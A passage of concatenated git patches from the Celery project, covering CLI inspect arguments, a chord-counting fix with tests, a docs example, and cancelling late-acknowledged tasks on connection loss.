a/celery/bin/control.py +++ b/celery/bin/control.py @@ -95,7 +95,8 @@ def status(ctx, timeout, destination, json, **kwargs): nodecount, text.pluralize(nodecount, 'node'))) -@click.command(cls=CeleryCommand) +@click.command(cls=CeleryCommand, + context_settings={'allow_extra_args': True}) @click.argument("action", type=click.Choice([ name for name, info in Panel.meta.items() if info.type == 'inspect' and info.visible @@ -128,9 +129,12 @@ def inspect(ctx, action, timeout, destination, json, **kwargs): """ callback = None if json else partial(_say_remote_command_reply, ctx, show_reply=True) - replies = ctx.obj.app.control.inspect(timeout=timeout, + arguments = _compile_arguments(action, ctx.args) + inspect = ctx.obj.app.control.inspect(timeout=timeout, destination=destination, - callback=callback)._request(action) + callback=callback) + replies = inspect._request(action, + **arguments) if not replies: raise CeleryCommandException( From ce8a9036c110ce7c70cf3c0bc9d4f2185916f585 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Wed, 28 Apr 2021 19:43:41 +1000 Subject: [PATCH 212/415] fix: Chord counting of group children (#6733) * improv: Deconflict `chord` class and kwarg names * improv: Make `chord.descend` protected not private This will allow us to call it from other code in this module which needs to accurately count chord sizes. * fix: Counting of chord-chain tails of zero tasks * fix: Chord counting of group children This change ensures that we only have one piece of code which calculates chord sizes (ie. `_chord._descend()`, recently made protected so other canvas classes can use it as required). By doing so, we fix some edge cases in the chord counting logic which was being used for children of groups, and also add some unit tests to capture those cases and their expected behaviours. This change also introduces an integration test which checks the current behaviour of chains used as chord bodies when nested in groups. Due to some misbehaviour, likely with promise fulfillment, the `GroupResult` object will time out unless all of its children are resolved prior to `GroupResult` being joined (specifically, native joins block forever or until timeout). This misbehaviour is tracked by #6734 and the test in not marked as `xfail`ing to ensure that the current janky behaviour continues to work as expected rather than regressing. --- celery/canvas.py | 50 +++++---- t/integration/test_canvas.py | 106 +++++++++++++++++++ t/unit/tasks/test_canvas.py | 190 ++++++++++++++++++++++++++++++++++- 3 files changed, 328 insertions(+), 18 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index 57b0aea0628..a80e979af96 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1170,21 +1170,25 @@ def _apply_tasks(self, tasks, producer=None, app=None, p=None, # we are able to tell when we are at the end by checking if # next_task is None. This enables us to set the chord size # without burning through the entire generator. See #3021. + chord_size = 0 for task_index, (current_task, next_task) in enumerate( lookahead(tasks) ): + # We expect that each task must be part of the same group which + # seems sensible enough. If that's somehow not the case we'll + # end up messing up chord counts and there are all sorts of + # awful race conditions to think about. We'll hope it's not! sig, res, group_id = current_task - _chord = sig.options.get("chord") or chord - if _chord is not None and next_task is None: - chord_size = task_index + 1 - if isinstance(sig, _chain): - if sig.tasks[-1].subtask_type == 'chord': - chord_size = sig.tasks[-1].__length_hint__() - else: - chord_size = task_index + len(sig.tasks[-1]) + chord_obj = sig.options.get("chord") or chord + # We need to check the chord size of each contributing task so + # that when we get to the final one, we can correctly set the + # size in the backend and the chord can be sensible completed. + chord_size += _chord._descend(sig) + if chord_obj is not None and next_task is None: + # Per above, sanity check that we only saw one group app.backend.set_chord_size(group_id, chord_size) sig.apply_async(producer=producer, add_to_parent=False, - chord=_chord, args=args, kwargs=kwargs, + chord=chord_obj, args=args, kwargs=kwargs, **options) # adding callback to result, such that it will gradually # fulfill the barrier. @@ -1296,8 +1300,8 @@ def app(self): return app if app is not None else current_app -@Signature.register_type() -class chord(Signature): +@Signature.register_type(name="chord") +class _chord(Signature): r"""Barrier synchronization primitive. A chord consists of a header and a body. @@ -1415,20 +1419,27 @@ def apply(self, args=None, kwargs=None, ) @classmethod - def __descend(cls, sig_obj): + def _descend(cls, sig_obj): # Sometimes serialized signatures might make their way here if not isinstance(sig_obj, Signature) and isinstance(sig_obj, dict): sig_obj = Signature.from_dict(sig_obj) if isinstance(sig_obj, group): # Each task in a group counts toward this chord subtasks = getattr(sig_obj.tasks, "tasks", sig_obj.tasks) - return sum(cls.__descend(task) for task in subtasks) + return sum(cls._descend(task) for task in subtasks) elif isinstance(sig_obj, _chain): - # The last element in a chain counts toward this chord - return cls.__descend(sig_obj.tasks[-1]) + # The last non-empty element in a chain counts toward this chord + for child_sig in sig_obj.tasks[-1::-1]: + child_size = cls._descend(child_sig) + if child_size > 0: + return child_size + else: + # We have to just hope this chain is part of some encapsulating + # signature which is valid and can fire the chord body + return 0 elif isinstance(sig_obj, chord): # The child chord's body counts toward this chord - return cls.__descend(sig_obj.body) + return cls._descend(sig_obj.body) elif isinstance(sig_obj, Signature): # Each simple signature counts as 1 completion for this chord return 1 @@ -1437,7 +1448,7 @@ def __descend(cls, sig_obj): def __length_hint__(self): tasks = getattr(self.tasks, "tasks", self.tasks) - return sum(self.__descend(task) for task in tasks) + return sum(self._descend(task) for task in tasks) def run(self, header, body, partial_args, app=None, interval=None, countdown=1, max_retries=None, eager=False, @@ -1537,6 +1548,11 @@ def _get_app(self, body=None): body = getitem_property('kwargs.body', 'Body task of chord.') +# Add a back-compat alias for the previous `chord` class name which conflicts +# with keyword arguments elsewhere in this file +chord = _chord + + def signature(varies, *args, **kwargs): """Create new signature. diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 4c5f31a495f..28560e33e64 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -704,6 +704,112 @@ def test_nested_group_group(self, manager): res = sig.delay() assert res.get(timeout=TIMEOUT) == [42, 42] + def test_nested_group_chord_counting_simple(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + gchild_sig = identity.si(42) + child_chord = chord((gchild_sig, ), identity.s()) + group_sig = group((child_chord, )) + res = group_sig.delay() + # Wait for the result to land and confirm its value is as expected + assert res.get(timeout=TIMEOUT) == [[42]] + + def test_nested_group_chord_counting_chain(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + gchild_count = 42 + gchild_sig = chain((identity.si(1337), ) * gchild_count) + child_chord = chord((gchild_sig, ), identity.s()) + group_sig = group((child_chord, )) + res = group_sig.delay() + # Wait for the result to land and confirm its value is as expected + assert res.get(timeout=TIMEOUT) == [[1337]] + + def test_nested_group_chord_counting_group(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + gchild_count = 42 + gchild_sig = group((identity.si(1337), ) * gchild_count) + child_chord = chord((gchild_sig, ), identity.s()) + group_sig = group((child_chord, )) + res = group_sig.delay() + # Wait for the result to land and confirm its value is as expected + assert res.get(timeout=TIMEOUT) == [[1337] * gchild_count] + + def test_nested_group_chord_counting_chord(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + gchild_count = 42 + gchild_sig = chord( + (identity.si(1337), ) * gchild_count, identity.si(31337), + ) + child_chord = chord((gchild_sig, ), identity.s()) + group_sig = group((child_chord, )) + res = group_sig.delay() + # Wait for the result to land and confirm its value is as expected + assert res.get(timeout=TIMEOUT) == [[31337]] + + def test_nested_group_chord_counting_mixed(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + gchild_count = 42 + child_chord = chord( + ( + identity.si(42), + chain((identity.si(42), ) * gchild_count), + group((identity.si(42), ) * gchild_count), + chord((identity.si(42), ) * gchild_count, identity.si(1337)), + ), + identity.s(), + ) + group_sig = group((child_chord, )) + res = group_sig.delay() + # Wait for the result to land and confirm its value is as expected. The + # group result gets unrolled into the encapsulating chord, hence the + # weird unpacking below + assert res.get(timeout=TIMEOUT) == [ + [42, 42, *((42, ) * gchild_count), 1337] + ] + + @pytest.mark.xfail(raises=TimeoutError, reason="#6734") + def test_nested_group_chord_body_chain(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + child_chord = chord(identity.si(42), chain((identity.s(), ))) + group_sig = group((child_chord, )) + res = group_sig.delay() + # The result can be expected to timeout since it seems like its + # underlying promise might not be getting fulfilled (ref #6734). Pick a + # short timeout since we don't want to block for ages and this is a + # fairly simple signature which should run pretty quickly. + expected_result = [[42]] + with pytest.raises(TimeoutError) as expected_excinfo: + res.get(timeout=TIMEOUT / 10) + # Get the child `AsyncResult` manually so that we don't have to wait + # again for the `GroupResult` + assert res.children[0].get(timeout=TIMEOUT) == expected_result[0] + assert res.get(timeout=TIMEOUT) == expected_result + # Re-raise the expected exception so this test will XFAIL + raise expected_excinfo.value + def assert_ids(r, expected_value, expected_root_id, expected_parent_id): root_id, parent_id, value = r.get(timeout=TIMEOUT) diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 6f638d04262..c6e9ca86035 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -1,5 +1,5 @@ import json -from unittest.mock import MagicMock, Mock, call, patch, sentinel +from unittest.mock import MagicMock, Mock, call, patch, sentinel, ANY import pytest import pytest_subtests # noqa: F401 @@ -782,6 +782,194 @@ def test_kwargs_delay_partial(self): res = self.helper_test_get_delay(x.delay(y=1)) assert res == [2, 2] + def test_apply_from_generator(self): + child_count = 42 + child_sig = self.add.si(0, 0) + child_sigs_gen = (child_sig for _ in range(child_count)) + group_sig = group(child_sigs_gen) + with patch("celery.canvas.Signature.apply_async") as mock_apply_async: + res_obj = group_sig.apply_async() + assert mock_apply_async.call_count == child_count + assert len(res_obj.children) == child_count + + # This needs the current app for some reason not worth digging into + @pytest.mark.usefixtures('depends_on_current_app') + def test_apply_from_generator_empty(self): + empty_gen = (False for _ in range(0)) + group_sig = group(empty_gen) + with patch("celery.canvas.Signature.apply_async") as mock_apply_async: + res_obj = group_sig.apply_async() + assert mock_apply_async.call_count == 0 + assert len(res_obj.children) == 0 + + # In the following tests, getting the group ID is a pain so we just use + # `ANY` to wildcard it when we're checking on calls made to our mocks + def test_apply_contains_chord(self): + gchild_count = 42 + gchild_sig = self.add.si(0, 0) + gchild_sigs = (gchild_sig, ) * gchild_count + child_chord = chord(gchild_sigs, gchild_sig) + group_sig = group((child_chord, )) + with patch.object( + self.app.backend, "set_chord_size", + ) as mock_set_chord_size, patch( + "celery.canvas.Signature.apply_async", + ) as mock_apply_async: + res_obj = group_sig.apply_async() + # We only see applies for the header grandchildren because the tasks + # are never actually run due to our mocking of `apply_async()` + assert mock_apply_async.call_count == gchild_count + assert len(res_obj.children) == len(group_sig.tasks) + # We must have set the chord size for the group of tasks which makes up + # the header of the `child_chord`, just before we apply the last task. + mock_set_chord_size.assert_called_once_with(ANY, gchild_count) + + def test_apply_contains_chords_containing_chain(self): + ggchild_count = 42 + ggchild_sig = self.add.si(0, 0) + gchild_sig = chain((ggchild_sig, ) * ggchild_count) + child_count = 24 + child_chord = chord((gchild_sig, ), ggchild_sig) + group_sig = group((child_chord, ) * child_count) + with patch.object( + self.app.backend, "set_chord_size", + ) as mock_set_chord_size, patch( + "celery.canvas.Signature.apply_async", + ) as mock_apply_async: + res_obj = group_sig.apply_async() + # We only see applies for the header grandchildren because the tasks + # are never actually run due to our mocking of `apply_async()` + assert mock_apply_async.call_count == child_count + assert len(res_obj.children) == child_count + # We must have set the chord sizes based on the number of tail tasks of + # the encapsulated chains - in this case 1 for each child chord + mock_set_chord_size.assert_has_calls((call(ANY, 1), ) * child_count) + + @pytest.mark.xfail(reason="Invalid canvas setup with bad exception") + def test_apply_contains_chords_containing_empty_chain(self): + gchild_sig = chain(tuple()) + child_count = 24 + child_chord = chord((gchild_sig, ), self.add.si(0, 0)) + group_sig = group((child_chord, ) * child_count) + # This is an invalid setup because we can't complete a chord header if + # there are no actual tasks which will run in it. However, the current + # behaviour of an `IndexError` isn't particularly helpful to a user. + res_obj = group_sig.apply_async() + + def test_apply_contains_chords_containing_chain_with_empty_tail(self): + ggchild_count = 42 + ggchild_sig = self.add.si(0, 0) + tail_count = 24 + gchild_sig = chain( + (ggchild_sig, ) * ggchild_count + + (group((ggchild_sig, ) * tail_count), group(tuple()), ), + ) + child_chord = chord((gchild_sig, ), ggchild_sig) + group_sig = group((child_chord, )) + with patch.object( + self.app.backend, "set_chord_size", + ) as mock_set_chord_size, patch( + "celery.canvas.Signature.apply_async", + ) as mock_apply_async: + res_obj = group_sig.apply_async() + # We only see applies for the header grandchildren because the tasks + # are never actually run due to our mocking of `apply_async()` + assert mock_apply_async.call_count == 1 + assert len(res_obj.children) == 1 + # We must have set the chord sizes based on the size of the last + # non-empty task in the encapsulated chains - in this case `tail_count` + # for the group preceding the empty one in each grandchild chain + mock_set_chord_size.assert_called_once_with(ANY, tail_count) + + def test_apply_contains_chords_containing_group(self): + ggchild_count = 42 + ggchild_sig = self.add.si(0, 0) + gchild_sig = group((ggchild_sig, ) * ggchild_count) + child_count = 24 + child_chord = chord((gchild_sig, ), ggchild_sig) + group_sig = group((child_chord, ) * child_count) + with patch.object( + self.app.backend, "set_chord_size", + ) as mock_set_chord_size, patch( + "celery.canvas.Signature.apply_async", + ) as mock_apply_async: + res_obj = group_sig.apply_async() + # We see applies for all of the header grandchildren because the tasks + # are never actually run due to our mocking of `apply_async()` + assert mock_apply_async.call_count == child_count * ggchild_count + assert len(res_obj.children) == child_count + # We must have set the chord sizes based on the number of tail tasks of + # the encapsulated groups - in this case `ggchild_count` + mock_set_chord_size.assert_has_calls( + (call(ANY, ggchild_count), ) * child_count, + ) + + @pytest.mark.xfail(reason="Invalid canvas setup but poor behaviour") + def test_apply_contains_chords_containing_empty_group(self): + gchild_sig = group(tuple()) + child_count = 24 + child_chord = chord((gchild_sig, ), self.add.si(0, 0)) + group_sig = group((child_chord, ) * child_count) + with patch.object( + self.app.backend, "set_chord_size", + ) as mock_set_chord_size, patch( + "celery.canvas.Signature.apply_async", + ) as mock_apply_async: + res_obj = group_sig.apply_async() + # We only see applies for the header grandchildren because the tasks + # are never actually run due to our mocking of `apply_async()` + assert mock_apply_async.call_count == child_count + assert len(res_obj.children) == child_count + # This is actually kind of meaningless because, similar to the empty + # chain test, this is an invalid setup. However, we should probably + # expect that the chords are dealt with in some other way the probably + # being left incomplete forever... + mock_set_chord_size.assert_has_calls((call(ANY, 0), ) * child_count) + + def test_apply_contains_chords_containing_chord(self): + ggchild_count = 42 + ggchild_sig = self.add.si(0, 0) + gchild_sig = chord((ggchild_sig, ) * ggchild_count, ggchild_sig) + child_count = 24 + child_chord = chord((gchild_sig, ), ggchild_sig) + group_sig = group((child_chord, ) * child_count) + with patch.object( + self.app.backend, "set_chord_size", + ) as mock_set_chord_size, patch( + "celery.canvas.Signature.apply_async", + ) as mock_apply_async: + res_obj = group_sig.apply_async() + # We see applies for all of the header great-grandchildren because the + # tasks are never actually run due to our mocking of `apply_async()` + assert mock_apply_async.call_count == child_count * ggchild_count + assert len(res_obj.children) == child_count + # We must have set the chord sizes based on the number of tail tasks of + # the deeply encapsulated chords' header tasks, as well as for each + # child chord. This means we have `child_count` interleaved calls to + # set chord sizes of 1 and `ggchild_count`. + mock_set_chord_size.assert_has_calls( + (call(ANY, 1), call(ANY, ggchild_count), ) * child_count, + ) + + def test_apply_contains_chords_containing_empty_chord(self): + gchild_sig = chord(tuple(), self.add.si(0, 0)) + child_count = 24 + child_chord = chord((gchild_sig, ), self.add.si(0, 0)) + group_sig = group((child_chord, ) * child_count) + with patch.object( + self.app.backend, "set_chord_size", + ) as mock_set_chord_size, patch( + "celery.canvas.Signature.apply_async", + ) as mock_apply_async: + res_obj = group_sig.apply_async() + # We only see applies for the header grandchildren because the tasks + # are never actually run due to our mocking of `apply_async()` + assert mock_apply_async.call_count == child_count + assert len(res_obj.children) == child_count + # We must have set the chord sizes based on the number of tail tasks of + # the encapsulated chains - in this case 1 for each child chord + mock_set_chord_size.assert_has_calls((call(ANY, 1), ) * child_count) + class test_chord(CanvasCase): From 9edee9330b9decac528494938f29dcbaa6d52ef6 Mon Sep 17 00:00:00 2001 From: jenhaoyang Date: Wed, 28 Apr 2021 17:49:14 +0800 Subject: [PATCH 213/415] Update periodic-tasks.rst (#6745) --- docs/userguide/periodic-tasks.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/docs/userguide/periodic-tasks.rst b/docs/userguide/periodic-tasks.rst index 1e346ed2557..dcc360972ff 100644 --- a/docs/userguide/periodic-tasks.rst +++ b/docs/userguide/periodic-tasks.rst @@ -106,6 +106,12 @@ beat schedule list. @app.task def test(arg): print(arg) + + @app.task + def add(x, y): + z = x + y + print(z) + Setting these up from within the :data:`~@on_after_configure` handler means From 934a2271c1636364486eb737a598d224e5184cf8 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 28 Apr 2021 12:53:06 +0300 Subject: [PATCH 214/415] Terminate tasks with late acknoledgement on connection loss (#6654) * Terminate tasks with late acknoledgement on connection loss. * Abort task instead of terminating. Instead of terminating the task (which revokes it and prevents its execution in the future), abort the task. * Fix serialization error. * Remove debugging helpers. * Avoid revoking the task if it is aborted. * Rename `abort` to `cancel`. There already is a concept of abortable tasks so the term is overloaded. * The revoke flow is no longer called twice. If the worker already managed to report the task is revoked, there's no need to do it again. Without this change, the `task-revoked` event and the `task_revoked` signal are sent twice. * Unify the flow of announcing a task as cancelled. * Add feature flag. worker_cancel_long_running_tasks_on_connection_loss is False by default since it is possibly a breaking change. In 6.0 it will be True by default. * Add documentation. * Add unit test for the task cancelling behavior. * isort. * Add unit tests for request.cancel(). * isort & autopep8. * Add test coverage for request.on_failure() changes. * Add more test coverage. * Add more test coverage. --- celery/app/defaults.py | 3 ++ celery/bin/amqp.py | 2 +- celery/worker/consumer/consumer.py | 40 +++++++++++++--- celery/worker/request.py | 54 +++++++++++++++++---- docs/userguide/configuration.rst | 30 ++++++++++++ t/unit/worker/test_consumer.py | 37 +++++++++++++- t/unit/worker/test_request.py | 77 +++++++++++++++++++++++++++--- 7 files changed, 218 insertions(+), 25 deletions(-) diff --git a/celery/app/defaults.py b/celery/app/defaults.py index fcf147f3cdc..8d95712696f 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -290,6 +290,9 @@ def __repr__(self): __old__=OLD_NS_WORKER, agent=Option(None, type='string'), autoscaler=Option('celery.worker.autoscale:Autoscaler'), + cancel_long_running_tasks_on_connection_loss=Option( + False, type='bool' + ), concurrency=Option(0, type='int'), consumer=Option('celery.worker.consumer:Consumer', type='string'), direct=Option(False, type='bool', old={'celery_worker_direct'}), diff --git a/celery/bin/amqp.py b/celery/bin/amqp.py index 29c625281ed..d94c91607bd 100644 --- a/celery/bin/amqp.py +++ b/celery/bin/amqp.py @@ -25,7 +25,7 @@ def __init__(self, cli_context): self.connection = self.cli_context.app.connection() self.channel = None self.reconnect() - + @property def app(self): return self.cli_context.app diff --git a/celery/worker/consumer/consumer.py b/celery/worker/consumer/consumer.py index a3fd0afde73..21562528134 100644 --- a/celery/worker/consumer/consumer.py +++ b/celery/worker/consumer/consumer.py @@ -7,6 +7,7 @@ import errno import logging import os +import warnings from collections import defaultdict from time import sleep @@ -21,7 +22,8 @@ from celery import bootsteps, signals from celery.app.trace import build_tracer -from celery.exceptions import InvalidTaskError, NotRegistered +from celery.exceptions import (CPendingDeprecationWarning, InvalidTaskError, + NotRegistered) from celery.utils.functional import noop from celery.utils.log import get_logger from celery.utils.nodenames import gethostname @@ -29,8 +31,8 @@ from celery.utils.text import truncate from celery.utils.time import humanize_seconds, rate from celery.worker import loops -from celery.worker.state import (maybe_shutdown, reserved_requests, - task_reserved) +from celery.worker.state import (active_requests, maybe_shutdown, + reserved_requests, task_reserved) __all__ = ('Consumer', 'Evloop', 'dump_body') @@ -106,6 +108,19 @@ delivery_info:{3} headers={4}}} """ +TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS = """\ +Task %s cannot be acknowledged after a connection loss since late acknowledgement is enabled for it. +Terminating it instead. +""" + +CANCEL_TASKS_BY_DEFAULT = """ +In Celery 5.1 we introduced an optional breaking change which +on connection loss cancels all currently executed tasks with late acknowledgement enabled. +These tasks cannot be acknowledged as the connection is gone, and the tasks are automatically redelivered back to the queue. +You can enable this behavior using the worker_cancel_long_running_tasks_on_connection_loss setting. +In Celery 5.1 it is set to False by default. The setting will be set to True by default in Celery 6.0. +""" + def dump_body(m, body): """Format message body for debugging purposes.""" @@ -257,7 +272,7 @@ def _update_prefetch_count(self, index=0): def _update_qos_eventually(self, index): return (self.qos.decrement_eventually if index < 0 else self.qos.increment_eventually)( - abs(index) * self.prefetch_multiplier) + abs(index) * self.prefetch_multiplier) def _limit_move_to_pool(self, request): task_reserved(request) @@ -336,6 +351,15 @@ def on_connection_error_after_connected(self, exc): except Exception: # pylint: disable=broad-except pass + if self.app.conf.worker_cancel_long_running_tasks_on_connection_loss: + for request in tuple(active_requests): + if request.task.acks_late and not request.acknowledged: + warn(TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS, + request) + request.cancel(self.pool) + else: + warnings.warn(CANCEL_TASKS_BY_DEFAULT, CPendingDeprecationWarning) + def register_with_event_loop(self, hub): self.blueprint.send_all( self, 'register_with_event_loop', args=(hub,), @@ -487,7 +511,8 @@ def on_unknown_message(self, body, message): signals.task_rejected.send(sender=self, message=message, exc=None) def on_unknown_task(self, body, message, exc): - error(UNKNOWN_TASK_ERROR, exc, dump_body(message, body), exc_info=True) + error(UNKNOWN_TASK_ERROR, exc, dump_body(message, body), + exc_info=True) try: id_, name = message.headers['id'], message.headers['task'] root_id = message.headers.get('root_id') @@ -515,7 +540,8 @@ def on_unknown_task(self, body, message, exc): ) def on_invalid_task(self, body, message, exc): - error(INVALID_TASK_ERROR, exc, dump_body(message, body), exc_info=True) + error(INVALID_TASK_ERROR, exc, dump_body(message, body), + exc_info=True) message.reject_log_error(logger, self.connection_errors) signals.task_rejected.send(sender=self, message=message, exc=exc) @@ -539,7 +565,7 @@ def on_task_received(message): # will defer deserializing the message body to the pool. payload = None try: - type_ = message.headers['task'] # protocol v2 + type_ = message.headers['task'] # protocol v2 except TypeError: return on_unknown_message(None, message) except KeyError: diff --git a/celery/worker/request.py b/celery/worker/request.py index 832c6f379ba..487384f256b 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -55,6 +55,7 @@ def __optimize__(): # Localize tz_or_local = timezone.tz_or_local send_revoked = signals.task_revoked.send +send_retry = signals.task_retry.send task_accepted = state.task_accepted task_ready = state.task_ready @@ -69,6 +70,7 @@ class Request: worker_pid = None time_limits = (None, None) _already_revoked = False + _already_cancelled = False _terminate_on_ack = None _apply_result = None _tzlocal = None @@ -399,6 +401,30 @@ def terminate(self, pool, signal=None): if obj is not None: obj.terminate(signal) + def cancel(self, pool, signal=None): + signal = _signals.signum(signal or TERM_SIGNAME) + if self.time_start: + pool.terminate_job(self.worker_pid, signal) + self._announce_cancelled() + + if self._apply_result is not None: + obj = self._apply_result() # is a weakref + if obj is not None: + obj.terminate(signal) + + def _announce_cancelled(self): + task_ready(self) + self.send_event('task-cancelled') + reason = 'cancelled by Celery' + exc = Retry(message=reason) + self.task.backend.mark_as_retry(self.id, + exc, + request=self._context) + + self.task.on_retry(exc, self.id, self.args, self.kwargs, None) + self._already_cancelled = True + send_retry(self.task, request=self._context, einfo=None) + def _announce_revoked(self, reason, terminated, signum, expired): task_ready(self) self.send_event('task-revoked', @@ -492,7 +518,20 @@ def on_failure(self, exc_info, send_failed_event=True, return_ok=False): task_ready(self) exc = exc_info.exception - if isinstance(exc, MemoryError): + is_terminated = isinstance(exc, Terminated) + if is_terminated: + # If the message no longer has a connection and the worker + # is terminated, we aborted it. + # Otherwise, it is revoked. + if self.message.channel.connection and not self._already_revoked: + # This is a special case where the process + # would not have had time to write the result. + self._announce_revoked( + 'terminated', True, str(exc), False) + elif not self._already_cancelled: + self._announce_cancelled() + return + elif isinstance(exc, MemoryError): raise MemoryError(f'Process got: {exc}') elif isinstance(exc, Reject): return self.reject(requeue=exc.requeue) @@ -503,10 +542,11 @@ def on_failure(self, exc_info, send_failed_event=True, return_ok=False): # (acks_late) acknowledge after result stored. requeue = False + is_worker_lost = isinstance(exc, WorkerLostError) if self.task.acks_late: reject = ( self.task.reject_on_worker_lost and - isinstance(exc, WorkerLostError) + is_worker_lost ) ack = self.task.acks_on_failure_or_timeout if reject: @@ -520,13 +560,9 @@ def on_failure(self, exc_info, send_failed_event=True, return_ok=False): # need to be removed from prefetched local queue self.reject(requeue=False) - # These are special cases where the process would not have had time + # This is a special case where the process would not have had time # to write the result. - if isinstance(exc, Terminated): - self._announce_revoked( - 'terminated', True, str(exc), False) - send_failed_event = False # already sent revoked event - elif not requeue and (isinstance(exc, WorkerLostError) or not return_ok): + if not requeue and (is_worker_lost or not return_ok): # only mark as failure if task has not been requeued self.task.backend.mark_as_failure( self.id, exc, request=self._context, @@ -579,7 +615,7 @@ def __str__(self): self.humaninfo(), f' ETA:[{self._eta}]' if self._eta else '', f' expires:[{self._expires}]' if self._expires else '', - ]) + ]).strip() def __repr__(self): """``repr(self)``.""" diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index e653b0d82d0..5110e476bf7 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -2735,6 +2735,36 @@ Default: 4.0. The timeout in seconds (int/float) when waiting for a new worker process to start up. +.. setting:: worker_cancel_long_running_tasks_on_connection_loss + +``worker_cancel_long_running_tasks_on_connection_loss`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 5.1 + +Default: Disabled by default. + +Kill all long-running tasks with late acknowledgment enabled on connection loss. + +Tasks which have not been acknowledged before the connection loss cannot do so +anymore since their channel is gone and the task is redelivered back to the queue. +This is why tasks with late acknowledged enabled must be idempotent as they may be executed more than once. +In this case, the task is being executed twice per connection loss (and sometimes in parallel in other workers). + +When turning this option on, those tasks which have not been completed are +cancelled and their execution is terminated. +Tasks which have completed in any way before the connection loss +are recorded as such in the result backend as long as :setting:`task_ignore_result` is not enabled. + +.. warning:: + + This feature was introduced as a future breaking change. + If it is turned off, Celery will emit a warning message. + + In Celery 6.0, the :setting:`worker_cancel_long_running_tasks_on_connection_loss` + will be set to ``True`` by default as the current behavior leads to more + problems than it solves. + .. _conf-events: Events diff --git a/t/unit/worker/test_consumer.py b/t/unit/worker/test_consumer.py index f7530ef6b37..a11098f37fa 100644 --- a/t/unit/worker/test_consumer.py +++ b/t/unit/worker/test_consumer.py @@ -9,11 +9,13 @@ from celery.utils.collections import LimitedSet from celery.worker.consumer.agent import Agent -from celery.worker.consumer.consumer import CLOSE, TERMINATE, Consumer +from celery.worker.consumer.consumer import (CANCEL_TASKS_BY_DEFAULT, CLOSE, + TERMINATE, Consumer) from celery.worker.consumer.gossip import Gossip from celery.worker.consumer.heart import Heart from celery.worker.consumer.mingle import Mingle from celery.worker.consumer.tasks import Tasks +from celery.worker.state import active_requests class test_Consumer: @@ -272,6 +274,39 @@ def test_connect_error_handler_progress(self, error): errback(Mock(), 6) assert error.call_args[0][3] == 'Trying again in 6.00 seconds... (3/3)' + def test_cancel_long_running_tasks_on_connection_loss(self): + c = self.get_consumer() + c.app.conf.worker_cancel_long_running_tasks_on_connection_loss = True + + mock_request_acks_late_not_acknowledged = Mock() + mock_request_acks_late_not_acknowledged.task.acks_late = True + mock_request_acks_late_not_acknowledged.acknowledged = False + mock_request_acks_late_acknowledged = Mock() + mock_request_acks_late_acknowledged.task.acks_late = True + mock_request_acks_late_acknowledged.acknowledged = True + mock_request_acks_early = Mock() + mock_request_acks_early.task.acks_late = False + mock_request_acks_early.acknowledged = False + + active_requests.add(mock_request_acks_late_not_acknowledged) + active_requests.add(mock_request_acks_late_acknowledged) + active_requests.add(mock_request_acks_early) + + c.on_connection_error_after_connected(Mock()) + + mock_request_acks_late_not_acknowledged.cancel.assert_called_once_with(c.pool) + mock_request_acks_late_acknowledged.cancel.assert_not_called() + mock_request_acks_early.cancel.assert_not_called() + + active_requests.clear() + + def test_cancel_long_running_tasks_on_connection_loss__warning(self): + c = self.get_consumer() + c.app.conf.worker_cancel_long_running_tasks_on_connection_loss = False + + with pytest.deprecated_call(match=CANCEL_TASKS_BY_DEFAULT): + c.on_connection_error_after_connected(Mock()) + class test_Heart: diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index d8f7de6ad1d..c84c00f628f 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -19,7 +19,7 @@ from celery.backends.base import BaseDictBackend from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, WorkerLostError) -from celery.signals import task_revoked +from celery.signals import task_retry, task_revoked from celery.worker import request as module from celery.worker import strategy from celery.worker.request import Request, create_request_cls @@ -35,16 +35,19 @@ def setup(self): @self.app.task(shared=False) def add(x, y, **kw_): return x + y + self.add = add @self.app.task(shared=False) def mytask(i, **kwargs): return i ** i + self.mytask = mytask @self.app.task(shared=False) def mytask_raising(i): raise KeyError(i) + self.mytask_raising = mytask_raising def xRequest(self, name=None, id=None, args=None, kwargs=None, @@ -63,7 +66,6 @@ def xRequest(self, name=None, id=None, args=None, kwargs=None, class test_mro_lookup: def test_order(self): - class A: pass @@ -137,6 +139,7 @@ def test_marked_as_started(self): def store_result(tid, meta, state, **kwargs): if state == states.STARTED: _started.append(tid) + self.mytask.backend.store_result = Mock(name='store_result') self.mytask.backend.store_result.side_effect = store_result self.mytask.track_started = True @@ -158,7 +161,6 @@ def test_execute_jail_failure(self): assert ret.exception.args == (4,) def test_execute_task_ignore_result(self): - @self.app.task(shared=False, ignore_result=True) def ignores_result(i): return i ** i @@ -227,14 +229,16 